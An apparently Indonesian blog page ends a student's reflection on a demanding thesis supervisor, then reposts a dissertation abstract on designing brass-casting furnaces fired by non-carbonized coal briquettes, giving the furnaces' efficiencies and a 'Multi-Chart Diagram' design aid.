Kata-kata yang paling saya ingat ketika kami keluar dari ruangan adalah “kalian jangan kapok ya saya marahi”, karena beliau memang lumayan sering memarahi kami terutama kalau kami memberikan jawaban yang salah. Untungnya hal tersebut hanya dilakukannya pada awal-awal kami bertemu, mungkin itu bagian dari ospek beliau pada mahasiswa bimbingannya. Ada juga kata-kata dari beliau yang berkesan yaitu ketika akhir dari semester ganjil kemarin beliau berkata kepada saya “buat apa kamu lulus cepat kalau kamu tidak mengerti apa-apa, lulus itu tidak penting yang penting kamu mengerti”. Perkataan itu membuat saya semakin semangat untuk lebih mendalami materi.
Sudah satu tahun lebih pengerjaan skripsi yang saya lakukan belum juga selesai, mungkin pada semester genap ini saya bisa menyelesaikannya. Tetapi empat minggu terakhir sebelum tulisan ini dibuat sepertinya angin segar sudah mulai berhembus, beliau sudah mulai terbuka dan berbicara banyak pada kami. Serta sedikit demi sedikit kami mulai mengerti apa yang beliau mau. Semoga ini menjadi awal yang baik.

Terima kasih

Wawan Mardiyanto

Tungku Pengecoran Kuningan dengan Bahan Bakar Batubara (via Raldi Artono Koestoer)

Perancangan Tungku Pengecoran Kuningan Menggunakan Bahan Bakar Briket Batubara Non Karbonisasi : Optimasi Teoritis dan Eksperimental  Oleh : Diah Kusuma Pratiwi Sumber energi panas yang biasa digunakan untuk melebur logam pada industri kecil pengecoran logam biasanya minyak tanah yang sekarang harganya semakin mahal. Penelitian  ini mencoba mengkaji bahan bakar lain yang lebih murah agar biaya produksi dapat dikurangi. Berdasarkan kajian ini … Read More

via Raldi Artono Koestoer

Tungku Pengecoran Kuningan dengan Bahan Bakar Batubara

Perancangan Tungku Pengecoran Kuningan Menggunakan Bahan Bakar Briket Batubara Non Karbonisasi : Optimasi Teoritis dan Eksperimental 

Oleh : Diah Kusuma Pratiwi

Sumber energi panas yang biasa digunakan untuk melebur logam pada industri kecil pengecoran logam biasanya minyak tanah yang sekarang harganya semakin mahal. Penelitian  ini mencoba mengkaji bahan bakar lain yang lebih murah agar biaya produksi dapat dikurangi. Berdasarkan kajian ini biaya energi cukup murah bila menggunakan briket batubara non karbonisasi. Namun bahan bakar ini mempunyai nilai kalor yang rendah sehingga perlu penelitian ini untuk perancangan dan pengembangan prototip tungku pengecoran kuningan yang mampu menghasilkan temperatur operasi 1200 °C.

Pada penelitian ini dilakukan kajian desain tungku pengecoran kuningan berdasarkan data hasil eksperimen terhadap pembakaran briket batubara non karbonisasi yang mempunyai nilai kalor 6214 kcal/kg. Kajian desain tungku dilakukan untuk empat jenis kowi, yaitu :

kowi baja Do = 203.2 mm dan Do = 266.7 mm, kowi silikon karbida, dan kowi grafit,

masing-masing pada kapasitas peleburan kuningan sebanyak 60 kg, 100 kg, 150 kg, dan khusus untuk tungku yang menggunakan kowi grafit  kajian desain juga dilakukan untuk kapasitas peleburan 18 kg.

Kajian analitis desain ini manghasilkan alat bantu desain tungku pengecoran kuningan menggunakan bahan bakar briket batubara non karbonisasi yang disebut dengan

Multi-Chart Diagram

sebanyak 26 jenis untuk keempat jenis kowi pada masing-masing kapasitas peleburan bila menggunakan refraktori bata tahan api atau semen tahan api mid-cast.

Guna melakukan validasi terhadap Multi-Chart Diagram ini maka dilakukan pengembangan terhadap dua prototip tungku yaitu : tungku yang memakai kowi grafit berkapasitas 18 kg menggunakan refraktori semen tahan api mid-cast dan tungku yang memakai kowi silikon karbida berkapasitas 150 kg menggunakan refraktori bata tahan api. Kedua prototip ini menggunakan bahan bakar briket batubara non karbonisasi yang mempunyai nilai kalor yang lebih rendah, yaitu : hanya 5223 kcal/kg. Dengan memasukkan konsep losses management maka pada kedua prototip ini dapat dilakukan penyempurnaan desain tungku dan berhasil melebur kuningan hingga temperatur tuangnya.

Kajian terhadap kedua prototip ini menunjukkan  bahwa tungku yang menggunakan kowi grafit berkapasitas 18 kg mempunyai effisiensi 22.96 %, dan tungku yang menggunakan kowi silikon karbida berkapasitas 150 kg mempunyai effisiensi 41.48 %.

Berdasarkan kajian analitis dan eksperimental dengan  penelitian ini :

1. Dapat ditentukan spesifikasi desain tungku dan elemen-elemen kunci yang berpengaruh kepada performance atau kinerja tungku.

2. Dapat diketahui kinerja tungku dan telah dilakukan penyempurnaan terhadap desain tungku dengan memasukkan faktor losses management.

3. Telah dibuktikan bahwa tungku yang berkapasitas rendah akan mempunyai effisiensi ± 20% dan tungku yang berkapasitas tinggi akan mempunyai effisiensi ± 40%.

4. Dperoleh konsep optimasi atau perancangan optimum tungku yang memberikan kinerja temperatur maksimum, rugi-rugi kalor yang minimum, dan harga yang murah dengan menggunakan  Multi-Chart Diagram dalam perancangan dan pengembangan tungku.

5. Dapat dibuktikan bahwa briket batubara non karbonisasi dengan nilai kalor 5000-6000 kcal/kg layak dan dapat digunakan sebagai bahan bakar tungku pengecoran logam-logam kuningan dan mampu menghasilkan temperatur  sekitar 1200 °C.

Kata Kunci : tungku pengecoran kuningan, briket batubara non karbonisasi, eksperimen pembakaran, kajian desain, kajian thermal dan performance, Multi-Chart Diagram, prototype tungku, biaya minimum,  effisiensi optimum

Prom, koprom, reviewer: Tresna PS, Raldi AK, Yulianto SN, IM Kartika, B Suharno, Supono AD, Sukma SH, B Sugiarto.-